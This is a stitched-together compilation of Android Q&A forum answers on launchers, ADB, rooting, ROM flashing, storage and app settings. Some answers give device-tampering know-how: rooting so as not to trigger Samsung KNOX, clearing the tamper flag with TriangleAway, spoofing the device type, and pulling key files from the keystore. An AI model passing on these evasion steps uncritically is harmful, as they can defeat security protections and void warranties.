Is it possible to improve the following GUI in Samsung Galaxy S

Use an alternative homescreen launcher like LauncherPro or dxTop or ADW.Launcher or GoLauncher.

Lots of customizations and options. You'll need to explore each one's features and see which is best for you.


TL;DR: With F/DS model you are out of luck. Better stay with 5.1

In case of Samsung devices, there is a system called Customer Sales Code (CSC). It allows Samsung to provide updates sooner or later, depending on this code. For example, if I bought my phone in Poland, my CSC = XEO. It ends with "O", meaning Open. However, it's not that simple when you got your phone from carrier, because most of them have individual CSC to provide their bloatware. For example, if I get a phone from Orange Poland, I would get CSC = IDE. In that case, it would be my carrier that decides when I get an update, so even if entire world would already have 6.0, I may have to use 5.1 because someone at carrier HQ would be too lazy to confirm an update.

However, it's not a lost cause. With this app you can check your CSC (and many telemetry data used by Samsung, like how often you charge you phone, how many times you used headphones, etc. (they are almost worse than Microsoft)). Then check this list to see if it's Open version (it will have an asterisk). If your CSC is not Open and you see another CSC for your country that is Open, remember that CSC. If your country doesn't have Open, check neighbouring countries' CSC. If they also aren't open, google if any carrier in your country provides 6.0 update and google its CSC. Or even use CSC from Germany or Poland, it's not recommended but many people do it.

Then, when selected CSC, you have to either:

find ROM with selected CSC - this way you won't lose your warranty, but with F/DS model you are out of luck. You can browse http://samsung-updates.com/ and http://www.sammobile.com/ and compare your firmware IDs with the ones on website, but I don't guarantee they work. Then use Odin to install it.
install Cyanogenmod - F/DS=nope
root your device with KingoRoot apk so it won't trigger KNOX, and then: a) use CSC Changer app (go there and search for "S4"), b) use Root Browser or ES File Manager and do like this tutorial says (scroll to ES File Manager and follow up to point 8). Then after reboot search again for updates. If somehow KNOX triggered and you've seen triangle during boot, use TriangleAway and try searching again.


It looks like you know how this works, but for anyone who may not, normally /data/misc/adb/adb_key contains the public keys of all the computers that have adb access to your device, which on your computer is located somewhere like ~/.android/adbkey.pub.  If you did have root, you could just use su from the Terminal app, then create the file  (say by copying or appending the adbkey.pub file from the /sdcard/ to /data/misc/adb/adb_key).

Without root, it's more challenging.  As you note, the way it's supposed to happen is that connecting a device that's never been seen before will result in you being prompted to accept the key from the RSA dialog on the device.  But if THAT'S not happening, I suspect that something is wrong with the ADB connection itself.  Are you able to verify that adb is working with another device?  The command adb devices issued from your computer can tell if your computer sees the device.  On Linux devices lsusb will also show whether the device is recognized as connected to usb.  Is your computer able to recognize other devices?  You say that you've tried re-running adb-- for anyone who may be reading this, doing an adb kill-server followed by an adb start-server is one way to do this.

If you don't want to root your device, you may consider installing a custom recovery instead such as TWRP2, which will allow you to boot into recovery mode as root temporarily to make the change without having to actually touch the /system partition directly.  When you're done putting your key into place, you can always re-flash the original recovery and should be good-as-new.  Looks like on the HTC One you can use fastboot to flash to the correct partition via the command:  fastboot flash recovery recoveryfilename.img.  Fastboot is part of the SDK, and it's in the /platform-tools directory.  You may need to run it with root privileges.


Stop Android GMail from receiving GTalk offline messages notifications?

If you still want them to show up in your inbox, things get complicated.  You would have to create filters to label every kind of message you do want notifications for, and then in the Gmail app you would turn off notifications for the inbox, followed by syncing and turning on notifications for the label you just created.

If you don't care if they show in your inbox, do the following from the web GMail:

Go to Mail Settings -> Filters -> Create new filter
Put youraddress@gmail.com in the To field
Put Chat with in the Subject field
Hit Next
Check Skip the inbox
Hit Create Filter

Alternatively you could turn off the saving of chat history, which disables offline messages, but that has its own downsides.


How do you keep your phone vibrating indefinitely?

Since it is a one time test, suggest a simple macro using Macrodroid

Use + to add Trigger /actions from the corresponding panel

Trigger: Empty Trigger

Actions

Repeat actions → Fixed number → OK → Fixed count say 70
Tap on end loop → Add action above → Vibrate → Long buzz → OK
Tap on end loop again to add one more action of wait 1 second

From Overflow menu choose Test Macro and your phone should buzz almost continuously for long enough ( increase count in step 1 if required )


download mode is related to recovery where your device is ready to accept a new system image from the computer.

It is used to flash a new OS to the device.

In download mode, you can inject and install the OS (flashing).

but be careful while using this


For me, it was constant stuttering when using the excellent PodcastAddict app.  Try shutting down other apps that are running in the background and you may find the real problem:

I force-stopped the Xfinity wifi app I also had on my phone and it finally solved this incredibly frustrating problem!

(still using Note 2, Android 4.4.2)


For android you need to have your phone rooted. Then you can go ahead and install IncognitoTab in xposed modules and it will work. If you want private browsing without root then download another browser like dolphin or Firefox.


You will need to use a PC
Please have a look at this question recently asked, it brings clarity to the causes of a failure.
Why don't root apps work anymore ?

So after you understand that, you can unlock your bootloader and install a custom recovery, then flash a Systemless root like SuperSU or Magisk

Please follow the complete guide for your device ..
Unlock Bootloader - Install CWM - Root with SuperSU guides


" Unfortunately, CloudAgent has stopped"

To Log Out of Dropbox

While in the Dropbox application, tap on the Menue Bar (the 3-horizonal bars icon located at the upper left-hand corner).
After the Menue List populates the screen, tap the Gear icon (Dropbox settings) located at the upper right-hand corner.
When the Dropbox settings window populates, tap on the list item "Sign out of Dropbox" which is approximately the fifth item down on the list.

This will log you out of the Dropbox phone application.


Why are Google Talk notifications at a low volume?

When you are chatting with someone, you already know that you are chatting. You can see messages as they come. You are already notified.

So Google Talk behaves intelligently and reduces notification volume. - thats for your answer

To get louder notification, the only way to fix this would be a Custom ROM with modified Google Talk app, where you can disable this feature.


How can I copy media files to my phone without adding them to the gallery?

Is there a way I can copy media files to my phone over a network,
  without them automatically getting added to the gallery?

I don't think it's possible.

After some googling I found this info:

1) Hide Album Art from Gallery

And the provided solution:

  I have all of my photos named folder.jpg/jpeg (I forget which
  extension) and they don't show up in the gallery.

2) [HOWTO] Make gallery remove album covers

  So I did this:

  Add .nomedia in my music directory, eg. "Music" (only on top directory).
  Rename "Music" directory to "Musicc"
  Run Gallery, exit.
  Rename "Musicc" back to "Music"
  Run gallery and thebthumbnails no longer appear.

  Also works with other directories that has thumbnails in gallery and
  adding .nomedia later. In my case the thumbs are still displayed.

Also take a look at this post:

How to Exclude Unwanted Images from Phone Gallery on Android

  Gallery Excluder is a dedicated Android application which removes the
  folders that you want to exclude its showing in the default Android
  stock version. This application is quite simple and does the job what
  it says with the application name. So if you have folders which you
  don’t wants to show it on your Gallery then install this application,
  select the folder which you want to show and done.


No keyboard after factory reset. Can't install keyboard on phone with bluetooth, google play, sd card, etc

You just created a nice chicken-and-egg problem: to install a keyboard via the playstore, you need to configure your Google account on the device first. To do that, you need a keyboard. Note: never delete the (last) keyboard app from the system apps; a factory-reset removes all user apps, so if there is no keyboard app as system app...

Here's what you can do -- provided you've got some keyboard as .apk file:

enable USB Debugging on your device
use adb install keyboard.apk to install the keyboard app

If you don't have ADB installed on your computer, either install the Android SDK -- or see Is there a minimal installation of ADB? for an "ADB lite" variant.


Ringtones directory won't update in settings

To update the ring tone directory, the media scanner has to run. Usually restarting the phone will do this, but if media scanner is not checking that directory when the device starts you can try to create a file in the sdcard ringtone directory with an app that triggers media scanner. I think Astro File Manager will trigger it.

If that doesn't work, you could try clearing the cache (I assume root since you are using root explorer and deleting system ringtones), the system may be caching that information and thinks they are still there.


Why does unlocking the bootloader wipe phone?

It's a security concern. The Android documentation doesn't provide a lot of elaboration, stating simply:

  The procedure must be confirmed on-screen, and deletes the user data for privacy reasons.

However, the privacy concern is relatively straightforward to extrapolate. Once the bootloader is unlocked, the device can be flashed with unsigned images. This means that it is relatively trivial to root the device, and there are actually multiple ways it can be done, such as:

Flashing a system image with root tools built in
Flashing a boot image that runs adbd with root by default (an "unsecure" image)
Flashing a recovery image, then using that to overwrite the system or boot partitions with ones that allow root access

Once root is obtained, all of the information on /data essentially becomes accessible. This could be emails, contact information, or many other pieces of personal information that you likely don't want in the wrong hands. Therefore, it makes sense to wipe all of this data during the unlocking procedure to ensure that there is no off-the-shelf "official" way of bypassing the sandboxing restrictions implemented by the Android operating system, which would thereby allow someone to steal personal data.

Of course, there may be ways to root without wiping on some devices, but they rely on exploits rather than official methods like a bootloader unlock, meaning they are basically bugs.


Use existing contact for "Me" in Ice Cream Sandwich

After trying forever (the "me" profile was never synced and could not be merged), this worked for me:

Install the Google+ app.
Set it to sync contacts.
Open your contacts again; your contact will now be set as "my profile".
Seriously.

source: https://makandracards.com/arne/7763-android-4-0-how-to-set-me-contact-to-your-existing-contact


Try this one - Open Settings > Storage > Transfer data > Check all. This moves all the content especially Photos, Music, Videos from internal memory to SD Memory card.
Some video and audio formats may not support this operation. For moving those use ES File Explorer from Play store.


If you have a rooted device, you most likely will not be able to install OTA updates (over the air). Factory resetting the device will not un-root the device so the best way of updating it is to do the following:

Get the factory image you wish to install (in your case, lollipop) from the Google developers website

Flash that image by following this tutorial or similar ones on the web.


Can I install Darky ROM using CWM even if I'm not coming from a previous Darky ROM?

If you have a working CWM or 2e recovery you can flash Darky's with it just fine from a stock ROM.  If you have a lagfix, particularly the ext2 OCLF, be sure to undo it first.  (It appears Darky's uses the Voodoo ext4 lagfix, so no need to disable Voodoo beforehand.  See Is the Voodoo lagfix compatible with Darky's ROM?)

Note that your data will be wiped unless you're already using Darky's, as per the XDA thread.


Is there a way to delete the picture on hangouts so they cant see it? retrieve picture

Share and delete your photos from Hangouts messages and Google Voice MMS:

  You can delete photos that you sent through a Hangouts message or
  through a Google Voice multimedia message in Hangouts. You'll need to
  delete the photos from Picasa Web Albums.

  Even if you delete a photo in your Picasa album, if you sent it
  through a multimedia message, the person who received it may still
  have a copy of the image on their device.

  Go to Picasa Web Albums.
  Click Show All Albums. If you're using Hangouts to send Google Voice multimedia messages, make sure you're going to the Picasa
  account that is connected to the Google Voice account.
  Click the album with the photos you want to delete. For Hangouts users: The photo album's title will be the name of the person you had
  the Hangout with. For Google Voice users: The photo album's title will
  be the phone number of the person who received the photo.
  Click the photo that you want to delete.
  Click Actions > Delete this photo. If you want to delete the entire album, open the album and click Actions > Delete album.


Unable to adopt SD card as internal storage on my j7 prime with android marshmallow

Most of OEM's doesn't offer in gui option for adoptable storage. So you have to do it via ADB. Here is how click

Here it is:
NOTE  all data on your SD card will be lost.

Make sure USB debugging is enabled in developer options under settings and then connect your phone to PC via USB cable.
Open terminal or command line on PC ( make sure you have ADB installed if not then download minimal ADB and fastboot, you can find it on Google click ) type command "adb devices" to make sure phone is detected, then type "adb shell"
3.Type 'sm list-disks' to list the disks available, the result should be something like "disk:179:160"
To make SD adoptable use command "sm partition disk:xxx:xxx private" where xxx:xxx is replaced with result from previous command, in some cases there is _ instead of : so watch out for that. If you want to use only half of SD as adoptable then use this command "sm partition disk:xxx:xxx mixed 50" and that's it.

If you want to move your data (pictures, videos etc) you can go to settings>storage>SD card>more and you will have there option "migrate data" hit it and let it go.


How to unlink a device from my google account

What do you mean by unlinking your account, and that your daughter can't link her account? Usually, you just remove your account by going to Settings>Accounts>Google>Tap on account, then remove account. Then just add your daughter's account. If it's something else, please post more specifics.


Defragging a normal Windows machine with a normal "spinning disk" hard disk drive rarely produces a noticeable speed improvement, certainly nothing like a lot of the 3rd party companies advertise, and even in edge cases where people are regularly creating and deleting extremely large (yet irregularly sized) files, you'll rarely notice any improvement from running it any more often than every 6 months or so. It's more of a psychological placebo benefit in most cases. SuperUser:Does Defragmenting really help?

Phones don't have spinning hard disks, they use a variety of flash memory, this has massively faster random read speeds than a disk that needs to rotate until the right piece of data is under the read head. Also the controller circuitry in flash memory arranges the data itself as the data is written, allowing it to "write-level" across all of the flash disk and avoid problem parts of memory. See these SuperUser questions on that topic for more info Do I need to run defrag on an SSD?, Is it bad to defragment a USB Flash Drive?

In addition from Honeycomb (Android 3.x) onwards, the Android OS by default doesn't give an attached PC full access to the internal file-system, instead of mounting as a USB drive it uses MTP to control how the PC can access the memory, and only the SD card is allowed to be mounted as a normal USB drive. As far as I'm aware there's no way for a PC to get enough access to the file-system to do a defrag over MTP.

Tl;dr the way that flash memory works means that a defrag actually does almost nothing, and may have a slight side-effect of slightly reducing the life-span of your phone's storage.


How to hide / show the pull out drawer that is pre-loaded on some Samsung devices

You can enable/disable this pull out bar by long pressing the back button.


I found an Ice Cream Truck ringtone in Mobiles24. Could you check if that's correct?


Make sure you select the right device resolution and screen size

There are a variety of options for example:

dpi (1440 x 2560)
xxhdpi (1080 x 1920)
tvdpi (800 x1280)
xhdpi (1080 x1920)

In my setup (API 23)

Here is my configuration:

5 inch screen size
Density 480
Monitor dpi 96

Can you check if these values correct you problem, I suggest you try from GUI this time:

See image:

To start from GUI go to the folder where android sdk was extracted for example:

C:\Users\Test\Android\android-sdk\AVD Manager.exe


Stylish 1.3b1 adds support for Firefox Mobile.


Samsung devices with KNOX Customization SDK 2.6 and above have the ability to configure to auto boot when getting power.


How to view device kernel information (verbose)?

If it's the architecture that you are looking in particular, then from the terminal you can type arch command.

You can also try CPU-Z to check the kernel architecture on its System tab.

Note : The assumption that uname is only found on rooted devices is unfounded. I have a device not rooted on Android 8.1 that has uname thanks to toybox.


I want to remotely control my Android device from my PC without rooting it. Is this possible?

As replied in another related question, Team viewer had recently provided app for Samsung phones. After installing this app in, the phone can be remotely accessed from PC. The following is the screen shot from its site:


Cannot revive Galaxy Note 2: Kies says "This device version cannot be updated"

I have eventually brought the phone to the service, and they diagnosed problems with the motherboard. It turned out these phones have a 2-year warranty, so they sent it to Samsung for repair for free. Nicely, it "died" just one month before the end of warranty, so it was a good luck.


If your phone won't mount your SD card, there are a couple of recourses. Take faith- as long as CWM is working, your phone is not really bricked- just soft-bricked.
If you haven't installed ADB on your device, you'll need to for this method. I'd recommend Minimal ADB and Fastboot for this.

So I have the answer to at least part of your problem. The "update.zip" file doesn't exist- in the instructions any instance of that should be replaced with the version of Cyanogenmod you downloaded- for example, cm-11-20140923-NIGHTLY-huashan.zip.
Per the instructons here:

"Push and install method: Open a command prompt (or Terminal on Mac and Linux) and navigate to the directory holding the package(s) you would like to install. On the device, navigate to the mounts and storage menu. If you see /storage/sdcard0 as a mountable volume, go ahead and mount it. If you do not see this directory, then instead mount the /data directory. Take note of which volume you mounted.

Now, push the package(s) to your device:

If you mounted /storage/sdcard0, then: adb push update.zip /storage/sdcard0/
If you mounted /data, then: adb push update.zip /sdcard/0/

where update.zip should be replaced with the package filename. Go back to the main menu and select install zip. Choose to install from the same directory where you pushed the package(s). If you are installing multiple packages, install CyanogenMod first and then install any subsequent packages on top of it."

If you still have issues mounting the storage, please reply. I'd be happy to help.


Is there any way to block permissions on apps?

There are at least two different solutions available for it: LBE Privacy Guard (careful when you're already running JellyBean: do not use the Playstore version then, but rather check with XDA-Developers, as the playstore version causes boot-loops with JellyBean and the dev did not even place a note for it), and PDroid Privacy Protection / PDroid Manager. The latter is more difficult to install, but often preferred: being implemented at OS level, it offers more security.


./flash-all.sh: line 16: fastboot: command not found

This isn't an Android problem at all. You can simply run the commands from flash-all.sh by hand, changing each one to name fastboot by its full path, or you can set the $PATH in your shell.

PATH="$PATH:/Applications/Android Developer Tools/sdk/platform-tools/"
./flash-all.sh

You should also check that the fastboot executable is executable. This probably won't be the case if you've extracted the files onto a non-ext partition. The following output is a correct example: note the x in the fourth column, and that the files are owned by the user I'm running as.

z1@foyle platform-tools% ls -l
total 3292
-rwxr-xr-x 1 z1 z1 1355536 1105 27 Jun 14 adb
drwxr-xr-x 2 z1 z1    4096 1105 27 Jun 14 api
-rwxr-xr-x 1 z1 z1   47828 1105 27 Jun 14 dmtracedump
-rwxr-xr-x 1 z1 z1  225253 1105 27 Jun 14 etc1tool
-rwxr-xr-x 1 z1 z1  201380 1105 27 Jun 14 fastboot
-rwxr-xr-x 1 z1 z1   10071 1105 27 Jun 14 hprof-conv
-rw-r--r-- 1 z1 z1  720629 1105 27 Jun 14 NOTICE.txt
-rw-r--r-- 1 z1 z1   16520 1105 27 Jun 14 source.properties
-rwxr-xr-x 1 z1 z1  771959 1105 27 Jun 14 sqlite3
drwxr-xr-x 2 z1 z1    4096 1105 27 Jun 14 systrace


Size a Wallpaper for Samsung Galaxy Tab 2 7.0

The screen size is 600 x 1024 pixels in portrait mode.  That's not the same as the wallpaper size, since the wallpaper is bigger than a single screen (try scrolling your homescreens left and right to see this).

Usually you need to double the width, and from what I can see online this seems to be the case for the Tab as well.  So use 1200 x 1024.


The provider of all the rooting software you use (such as Kingroot if you use a "one-click" technique, SuperSU, and any software you give root permission on your phone), and the provider of the ROM you use (whether it's a custom ROM or the stock ROM) has complete control over your phone. They can steal any passwords you type into the phone (in apps, websites, or your Google account details). They can take control of any app, including Skype. They can record all your conversations, steal your credit card number, and use your details to masquerade as you. They can lock your phone (as well as any online accounts you logged into) and demand a payment from you to get your files and accounts back.

When you decide to root your phone, you need to have complete trust in all the software you use to do it, which means you also need to trust the person you got it from (e.g. the website you downloaded it from). When an app on your phone asks for root permissions, you need to have complete trust in the source of the app. If you don't have complete trust, don't root your phone/install the custom ROM/install the app.


Samsung S4 Mini (GT-I9195) TWRP recovery fails

It functions now with the file posted by Death Mask Salesman here!


Is there a way to change device type on Google Play

You can try Market Helper; requires ROOT.

  Market Helper is a tool for Android that helps users to be able to
  change/fake their rooted devices to any other devices. For example, it
  can turn your Nexus 7 into Samsung Galaxy S3 in a few seconds. No
  reboot is required.


That icon certainly looks like a do not disturb icon (DND).

You can turn it off from quick settings or in Settings >> Sounds  >> DND


How to un-hide the read recipient (blue tick) option on WhatsApp?

Open WhatsApp and tap three vertical dots icon on the top right.
Now go to Settings > Account > Privacy.
Check Read receipts.


How to rename catalog of ADW Launcher EX?

The only way I've found to do this is to edit the XML file that stores the name directly. It should be at /data/data/org.adwfreak.launcher/shared_prefs/APP_CATALOG_Index.xml:

# cd /data/data/org.adwfreak.launcher/shared_prefs
cd /data/data/org.adwfreak.launcher/shared_prefs
# ls
ls
APP_CATALOG_1.xml       APP_CATALOG_Index.xml   adw_ex_preferences.xml
# more APP_CATALOG_Index.xml
more APP_CATALOG_Index.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="GrpName1">First Group</string>
</map>

Edit the value within the GrpName# tag that corresponds to the group you want to rename and then restart ADW Launcher. AFAIK there's no way to do it in the ADW UI itself (aside from deleting and recreating it, but that's inconvenient, too).


How do i fix low storage space so i don't have to reset my phone?

move the big application installed in the internal memory to sd card and clear cache .. with some appz like ccleaner for android..


I think if your WhatsApp backup on GoogleDrive is not what you want, you can't do anything about this online Backup.

If you have a backup of your sd-card / your previous WhatsApp files you can replace the new WhatsApp files with this backup.

Maybe this helps: https://www.whatsapp.com/faq/en/android/20887921


What is my phone doing when the boot takes a long time?

Download and install the Android SDK.  On your handset's manufacturer website find and download USB drivers for your device, and install them.  On your phone go to Menu -> Settings -> Applications -> Development and enable the USB debugging option.  Now when connect the phone to your PC via USB, you should see the "USB debugging connected" ongoing notification.

On your PC (I'm assuming Windows) start command prompt by going to Start -> Run, typing "cmd" and pressing enter.  Navigate to the "platrofm-tools" sub-folder of where you installed the Android SDK (e.g. "C:\AndroidSDK") by typing the following:

  cd C:\AndroidSDK\platform-tools

and press enter.  Now issue the following command:

  adb devices

and press enter.  If everything was installed correctly, the adb service will start and show your connected handset's serial number:

  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  List of devices attached
  HT035xxxxxxxx    device

You can now issue the adb logcat command to review your handset's logs in real-time.  Reboot while your handset is still plugged into USB (you will need to re-issue the adb logcat command when the phone restarts) and you will be able to see what your phone is doing during those long boot-up sequences.


I just had to make the color temperature a bit colder... and I see no red pixels, and rarely some blue ones !


To sum up the relevant information, let me quote from the Q&A eldarerathis linked above (all credits go to him, as this is from his answer there):

A .dex file is basically a compiled bytecode version of an app that has been built for the Dalvik VM which Android's apps run on. I believe it is short for Dalvik Executable, but I'm not sure if I'm remembering that correctly.
An .odex file is an Optimized .dex file (hence the 'o'), meaning that it has basically been pre-compiled for a specific platform. The advantage to this is that startup time is much faster since the VM doesn't have to perform any optimizing at startup/runtime. The disadvantages are 1) That it takes up some extra space and 2) An odexed app won't run properly if it's put onto another device, and it must have the associated .odex file to run at all.

When you install an app, Android will ananyze the .apk and setup the device's Dalvik Cache with an optimized version of its code, so the app will start and run faster (after a factory-reset of your device, it does so for all pre-installed apps -- and after wiping the Dalvik cache, which is possible from the recovery menu with most CustomROMs, even for all user apps -- which is why the first boot takes so much longer than subsequent boots).
However, when an "odex" is found, it would simply be copied to the Dalvik Cache. As eldarerathis pointed out, the .odex was built for specific hardware (reminds me of Assembly) -- so if that "specific hardware" is not the one used by the current device, you will certainly run into trouble.


In Android N;

Settings, Apps, Your messaging app, SMS App (below Memory), Special Access (bottom option),  Premium SMS access.

Alternatively - Settings, Search, "premium" or similar


Can I navigate to a specific URL in Samsung Internet Browser instead of doing a Google search?

You can simply disable the automatic searching for entered values in the address bar:
Open Settings -> Search engine and disable "Suggest websites and search terms"

Afterwards if you enter a valid DNS name like exampleabc.com you will get directly to the page (in this case a generated error page as the domain does not exist).
If you just enter some search terms like holiday a Google search will be performed.


Rocking Shortcuts (Lite) sounds like it does exactly what you're asking about, except that rather than using short-click/long-click it uses single-click/double-click on the volume rocker to control your music.

If you only want to go to the next song, and don't often go back then the more specialised Next Song should do exactly this with no need for any configuration or options.

It's not quite what you're asking about, but assuming that you're listening to your music through headphones then an app like Headset Button Controller (Trial) or Headset Droid (trial) has some very similar functionality but they use the button on a wired headset, rather than the volume controls.


It will vary depending on your phone and version of android. But in Settings>Applications>Saavn you should find a Move to SD button which will move the app and its data to the SD card.

If the app was preinstalled on your phone the button will not be there since the app probably cannot be moved out of the system partition. In which case, I recommend clearing the app's cache and using a different service that can be installed on the SD card.


How do you see Memory usage in Android O?

Enable Developer Mode (see here), and go to System > Developer options > Memory


Selecting multiple photos on the HTC One X (AT&T)

My experience of the One X in order to be able to select multiple items in the gallery you need to first give it a task to do.

For example,

Open Gallery
Hit 'Share' in the bottom left, you'll need a service which takes multiple uploads, such as Facebook
Then you'll see the 'multi-select' grid with tick boxes next to each image which you can then select.

As far as I can see from playing on my device for 10 minutes, there isn't a general 'multi-select' feature. You might try a different gallery app though. I would recommend QuickPic


In order to verify the signature of a ROM ZIP file on a PC, two things are required:

The public key from the ROM creator (can be extracted from /system/etc/security/otacerts.zip if the creator is the same e.g. in case of updating stock ROM).
A tool to extract the certificate from the comment (footer) of the ZIP file and verify its signature key against the ROM developer's public key.

There are multiple tools available to perform the second step, including the one officially provided by LineageOS:
update_verifier.py <pubkey> /path/to/zip_file

DETAILS
I had a vague notion that custom ROM ZIP files contain the standard JAR signatures block (which is also the case with APK signature scheme v1). So the standard jarsigner -verify command could be used to verify the integrity of a self-signed JAR/ZIP file (that it hasn't been tempered with since created), though not the authenticity of the source (which requires the root certificate, as is the case with AVB).
But a deeper look into TWRP source code indicates that it's using the same signature verification mechanism used in stock recovery for OTA ZIP file verification (source code here) i.e. verifying the authority of the ZIP file's creator against prebuilt public keys stored in /res/keys/. signapk.jar is used at the time of compilation to sign both APKs (apksigner is called) and OTA ZIP files. The same tool adds the "signed by SignApk" message you noticed in ZIP file.
So the /res/keys/ directory in recovery must contain the public keys from all ROM creators in order to verify their ZIP files, which doesn't seem practical.  Stock recovery contains only OEM's public key(s) while custom recovery most probably contains test keys from the official SDK. And that's why we often face the infamous "ZIP signature verification failed" message for ROMs and other flashable ZIP files.
On non-A/B devices the OTA package (if not manually downloaded by the user) is also verified before booting to recovery mode. In this case prebuilt keys from otacerts.zip are used for verification (source code here). But with A/B updates recovery is not involved at all (/res/keys/ no more exists since Android 10) and package might not be verified even once (if doing "streaming updates", some more details in this answer).
So keeping these points in view, the verification mechanism used in recovery doesn't seem to be of much importance. In order to verify the authenticity of a ROM, better would be to simply do a checksum verification of the downloaded file if possible, like LineageOS provides SHA256 hashes with their downloadable ZIP files.


The audio recorded in WhatsApp will be in the format of .opus. It cannot be played by apps. Just change the format to .mp3 by renaming the file in explorer. Now it can be played.


Why do Samsung S7 battery drains fast then usual when I walk with the phone

As mentioned by "acejavelin" in the comment section, location based services seem to be the main culprit in your case. Here are the things, you can try to improve your battery life:

Always turn off the location services on your Android when not in use. And, when you use location services, change the Location Mode to “Battery Saving” to save the battery life. Also, turn off the location history on your device in the Google location settings. You might find this article, useful: http://trendblog.net/disable-location-services-android/
Turn off 'Google Now/Ok Google' on your device: https://support.google.com/websearch/answer/2824784?co=GENIE.Platform%3DAndroid&hl=en Saw a great improvement after turning this feature off on my Galaxy S6.

Hope it helps!


is there any way to read the sd card when phone connected to PC in Mass Storage Mode

No. In mass storage mode the phone effectively acts as a card reader, so the PC has complete control over it. If the phone were to mount the card at the same time as the PC, the filesystem on the card would become corrupted. That's why Android phones don't offer USB mass storage any more.

With MTP, the PC goes through what's effectively a file server on the Android phone, instead of mounting the card's filesystem completely. That way, the phone still has access to the card, and the phone can control what the PC can access.


Android Market not showing full list of app updates

I realize this is an old question, but still today I face the same issue. The reason behind this (AFAIK) is that apps, when updated, can be "batch updated" if no changes were made to the app privacy policy or the app permissions for the device (other scenarios may apply).

e.g.,

Just this week I did a "batch update", but had to manually update two apps, one needed my consent for additional privileges, and the other one had changed something that I didn't bothered to read.

Message from the first app that was outside of the update batch:

  This app's permissions have changed to have access to the following: ...

Due to this changes, this app was excluded from the batch update.


Export SSL certificates from Chrome for Android

Just faced with exactly the same problem. I googled for an answer but this is page the only case I found.

Solution is simple for rooted device:

Open and file explorer with root-access (I prefer ES file explorer)
Go to /data/misc/keystore/usesr_0 and find there the cert and key files.
Transfer it securely to your desktop.

If you have a non-rooted device then root it and start with step <1>.


Why can't all rooted phones be unlocked?

Most phones have separate AP (application processor) and BP (baseband processor AKA modem AKA radio). "Rooting" results in gaining control over the AP. The carrier "subsidy" lock is residing in BP. Most custom ROMs just include stock (i.e. still locked) BP image as a binary BLOB. Since the BP code is proprietary and never gets released to public.


HTC One crashed during update, now it won't start

First off. See if you can get into recovery mode. Turn off phone and then hold the volume up, home, and power buttons at the same time.
note this button combination may be different based on what phone you have. Look up your model. After you get into recovery mode see if you can restart your phone from there. If you still cannot restart your phone do these steps:

Turn off phone
Boot into recovery using the same method as before
Select wipe cache partition - this will not delete any user files only temporary system files like those related to installations.
Restart the phone

If that worked then there you go. You can try the software update again (make sure your phone is plugged into a charger so that battery loss is not an issue to interrupt your software update).
If the phone still won't update post a reply so I can help you further. Hope this helped


How to run an app shortcut or a tasker task when battery temperature is above a custom threshold?

Use the "Broadcast receive" block with "Battery changed" action, the broadcast "extras" will include a "temperature" entry:
http://developer.android.com/reference/android/os/BatteryManager.html#EXTRA_TEMPERATURE

Here's an example flow for getting the battery temperature:
http://llamalab.com/automate/community/flows/655


As others have mentioned in the comments, 512 MB RAM with 30-40 MB free might be insufficient for running newer, resource-hungry games.  Your version of Android (4.1, according to Huawei g520-5000's specifications) already handles memory quite efficiently by terminating background apps when more RAM is required for games and such.

Your best bet would be contacting the game developers over e-mail and asking for help.  Many will provide some support, just be prepared to know how to extract and send over the phone's logs.  Some, such as Vector Unit (developer of Riptide GP2) even go as far as issue a refund if they can't help you with the problem:

Quote from Riptide GP2's Play Store description:

  • • CUSTOMER SUPPORT • •
  If you encounter a problem running the game,
  please email the device you're using, Android OS version, and a
  detailed description of your problem to support@vectorunit.com.
  We GUARANTEE if we can't fix your problem we'll give you a refund. But we
  can't help you if you just leave your problem in a review.
  For fastest support on most common issues please visit: www.vectorunit.com/support


Motorola Blackflip Clock Doesn't Update when its Screen is off

This actually sounds just like an issue that would be in MotoBLUR, especially MotoBLUR v1. This issue may have been fixed in the later releases of MotoBLUR, but initially this was a very buggy product.

If you viewed the log that android writes for any errors that occurred with the first version of BLUR (which is what is on the backflip) there are tons of errors that happen at any given moment. It seemed like Motorola rushed out the product before they were actually ready.


Each time you change the sim card and use internet, The data will be added up to the previous data. In lollipop, The Data usage moniter screen will show the entire data. If u want to clear that, You have to Root the phone or Reset your phone.
There are many third party apps on Play store to Record usage. And u can also customize them for your need.


Not matter. But not a sw upgrade uploaded on nexus user center for nexus 4. All u can do that is wait for sw release


Prevent disable power saving while charging [root]

I found out that some cpu optimisation disables when phone connected to devices that suport data transfer (netebook for example (even sleeping), or my solar cell), so i use usb cable that not support data transwer.


custom arrangement of favorites in default (HTC) browser?

Yes, one solution is the Bookmark Sort & Backup app. Visit here from phone or search for "bookmark sort" on android market. (Pro version comes without ads.) Hope it helps.

EDIT: Bookmark Sort & Backup Free and Bookmark Manager Free on appbrain.com.


Application doesn't get installed : insufficient storage available

I have had this in the past and been able to fix it by rebooting the device


How to shrink a notification in notification bar in Android Lollipop?

You can shrink a notification by pinching in horizontally on the notification. Likewise, you can expand one by pinching out horizontally. You can see this in my beautifully-drawn diagram:

EDIT: You can also swipe up/down using two fingers instead of one. Thanks to eldarerathis for this addition.


Restore SMS Messages with Titanium Restores then Deletes!

OK, here's the deal...

So, the issue was that Messenger vs Hangouts is controlled external to your application, and external to your google account manager, it's an OS-level setting.  So, the issue was I had to sign into messenger, agree to terms, declare it my default SMS manager, and then when I did the restore, it didn't automatically delete.  I guess prior to this, messenger and hangouts were in a fight somehow.

This is probably a one-off problem, I had not converted from the deprecated messenger to the supported Hangouts, my phone was kind of grandfathered in, while the default SMS program had changed.

If you are in this situation in the future, set your default SMS to messenger, and hangouts won't delete your messages.


Another option is to use Dropbox to transfer the apks.  That was how I got them on my Archos tab before I got the market on there.  Dropbox lets you download the dropbox app directly from their website, so there's no market needed.  After that all you have to do is send every apk from your phone that you want onto your tablet to Dropbox, then you can install them directly from there.


Why 'Add what you're doing or feeling' option/icon is missing from my Android Facebook app? How should I enable it?

Facebook released v2.3 around 20th March 2013, Here's a snapshot of the page with Facebookv2.3.

Facebook announced it's enhanced status update on how they're feeling around 10th April 2013 which is the reason it's not included in the App.

Update the app, you'll get this feature.


Are files created in "/storage/emulated/0" supposed to appear in "/storage/sdcard0"?

I've checked on one of my devices, and as the comment chain already suspected, you don't need to worry about everyone having access to everybody elses data. First:

/storage/sdcard0 -> /storage/emulated/legacy

Which means, it's just a symlink which always points to the data of the current user:

/storage/emulated/legacy -> /mnt/shell/emulated/0

